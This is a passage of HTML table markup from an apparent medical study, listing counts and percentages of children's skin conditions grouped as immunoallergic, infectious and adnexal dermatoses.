5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.556</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table IV:</strong> Distribution of etiological groups according to the seasons.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Varieties of Dermatoses</span></strong></p>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n</span></strong></p>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Immunoallergic dermatosis</span></strong></p>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">273</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">33.4</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Atopic dermatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">91</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Prurigostrophulus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Urticaria</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaper rash in W</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Eczematid</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Contact derontmatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Photodermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Infectious dermatosis</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">327</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">40.0</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Impetigo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">61</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea capitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">55</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scabiosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pityriasis rosea of Gibert</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea corporis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vulgar wart</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Seborrheic dermatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pytiriasis versicolor</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Larva migrans</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Folliculitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Molluscumcontagesum</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaper rash in Y</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Varicella</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Herpes</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Onychomycosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,9</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Zona</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Anogenitalcondylome</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Gonorrhea</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Furonculo&iuml;dmyiasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tungiasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Measles</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Oral condyloma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Meadow</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erysipela</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Adnexal dermatosis</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">81</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">9.9</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sudamina</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">56.8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acne vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td 